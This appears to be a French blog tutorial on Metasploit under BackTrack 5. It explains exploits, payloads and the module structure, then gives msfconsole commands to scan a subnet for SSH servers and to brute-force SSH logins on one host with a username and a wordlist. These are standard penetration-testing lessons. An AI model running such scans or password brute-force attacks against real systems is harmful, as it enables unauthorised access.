Après l'installation de BackTrack 5, maintenant on va amuser un peu, en utilisant notre Metasploit Framework qui est installé avec notre Backtrack 5.
Commençons par définir quelques mots importants :
Vulnérabilité : une faiblesse/ faille qui peut être exploité par un pirate dans le but de casser/ compromettre la sécurité d’un système.
Exploit : Du code qui permet à un attaquant d’exploiter une vulnérabilité.
Payload : Code lancé après l’exploitation d’une vulnérabilité.
Petit exemple concret sur ce vocabulaire :
Prenons une maison qui possédant une serrure pouvant être ouvert par plusieurs clés.
La vulnérabilité est la serrure qui est « faillible ».
L’exploit est la possibilité offerte au voleur d’entrer dans cette maison avec une clé « pass ».
Et le Payload est ce que va faire le voleur une fois qu’il a réussi à ouvrir la porte (voler les bijoux ?) ;)
Dans le cas des vulnérabilités informatiques, l’attaquant une fois l’exploit et le Payload envoyé sur le système vulnérable peut télécharger les données de la cible, mettre un malware, rootkit…
Afin de bien comprendre comment fonctionne Metasploit voyons comment est structuré le framework :
Source : metasploitunleashed. Ci-dessus l’architecture de metasploit.
Tout d’abord on constate que l’architecture est modulaire permettant d’adapter MSF et son utilisation selon le cas étudié :
- Metasploit fonctionne sous divers interfaces qui interagissent avec le « MSF Base » ( GUI (graphique), WEB, CLI et msfConsole).
Dans les cours qui vont suivre nous utiliseront essentiellement msfConsole.
En effet msfConsole offre le meilleur support / fonctionnalité du Framework.
D’autre part msfConsole est console interactive pour Metasploit.
Elle permet la complétion automatique (tab)
Des commandes externes peuvent être exécutés.
L’interface la plus adaptée à l’utilisation complète de MSF.
La plupart des commandes sont assez intuitives.
Les commandes de Metasploit nous les verrons au fur et mesure.
Mais sachez qu’il existe des commandes de database, qui permettent de gérer l’enregistrement / archivages de tout ce qui est traité avec Metasploit.
On peut par exemple importer des log de nmap, nessus.. dans metasploit.
Par ailleurs on parle aussi d’architecture modulaire car avec MSF nous avons la possibilité d’utiliser certains modules :
« Exploit » Module
Sur l’image ci-dessus nous voyons que ces exploits sont rangés par OS, puis par « services ».
Ce sont des scripts ruby qui contiennent le code l’exploit.
« Aux » Module
Il s’agit de modules axillaires utilisés pour diverses taches comme le scan de port, sniffing, scan de services.« Payload » module :
Nous l’avons vu dans l’introductionà MSF dans le chapitre précédent, les Payload est le code exécuté une fois la vulnérabilité exploitée.Il y a trois types de Payload disponibles : « singles » « stagers »et « stage »
Single Payload : Payload qui effectue une tâche spécifique (crée un nouveau utilsiateur, binder un shell)..
Stager Payload : crée une connexion entre la victime et l’attaquant (exemple du bind shell).
Stage Payload : Il est téléchargé par le « stager » afin d’exécuter des taches un peu plus complexes (exécuter le shell Windows)
Une des grandes puissances du framework est la possibilité de choisir parmi plusieurs Payload pour un même exploit.
Exemple d'utilisation de Metasploit
Passons sans plus attendre à la partie la plus intéressante : l'utilisation de Metasploit. Dans l'exemple qui suit, nous allons scanner un réseau afin de trouver toutes machines qui possèdent un serveur SSH et obtenir ensuite la version utilisée.On commence par regarder la liste des scanners SSH disponibles :
search sshPuis, on charge le bon scanner et on regarde les options disponibles :
info scanner/ssh/ssh_version
use scanner/ssh/ssh_version
show options
Module options: Name Current Setting Required Description -------- ------------------ -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 22 yes The target port THREADS 1 yes The number of concurrent threads
On définit ensuite la plage d'adresses IP à scanner (variable RHOSTS) et le nombre de threads à utiliser lors de la recherche :
set RHOSTS 192.168.1.0-192.168.1.255Pour finir, on lance le scan :
set THREADS 50
show options
run
[*] Scanned 051 of 256 hosts (019% complete) [*] Scanned 052 of 256 hosts (020% complete) [*] 192.168.1.106:22, SSH server version: SSH-2.0-OpenSSH_4.3 [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed
Nous venons de découvrir une machine (192.168.1.106) qui possède un serveur SSH en version 2.0. Nous allons essayer d'aller plus loin en lançant une attaque par bruteforce sur cette dernière. Rien de plus simple avec le module "ssh_login" :
use scanner/ssh/ssh_loginParmi les options, il est possible de forcer l'arrêt dès qu'un mot de passe fonctionne. On peut également forcer le login et charger un fichier contenant une liste de passwords :
show options
set RHOSTS 192.168.1.106
set RPORT 22
set THREADS 50
set STOP_ON_SUCCESS true
set USERNAME pti-seb
set PASS_FILE /usr/share/dict/words
run
Quelques astuces d'utilisation de Metasploit
Si vous êtes arrivé jusqu'ici, c'est que Metasploit vous intéresse. Je vais donc vous donner une liste d'astuces supplémentaires.Si vous voulez connaître la version de Metasploit utilisée :
msf > versionPour obtenir de l'aide :
Framework: 3.4.1-dev.9325
Console : 3.4.1-dev.9372
help
Il est par exemple possible de définir des variables de façon globale. Pratique, car comme ça on n'a pas besoin de redéclarer RHOSTS, THREADS..., à chaque fois que l'on change de module. Pour cela, il faut utiliser setg au lieu de set :
setg RHOSTS 192.168.1.0-192.168.1.255Si l'on veut lister l'intégralité des exploits, modules, playloads :
setg THREADS 50
search
>> Si l'on veut lister tous les modules de scanners :
search auxiliary ^scannerSi l'on veut modifier le code source d'un module, on peut utiliser les commandes suivantes :
msf > use scanner/ssh/ssh_versionPour quitter Metasploit :
msf auxiliary(ssh_version) > load editor
msf auxiliary(ssh_version) > edit
quit
Aucun commentaire:
Enregistrer un commentaire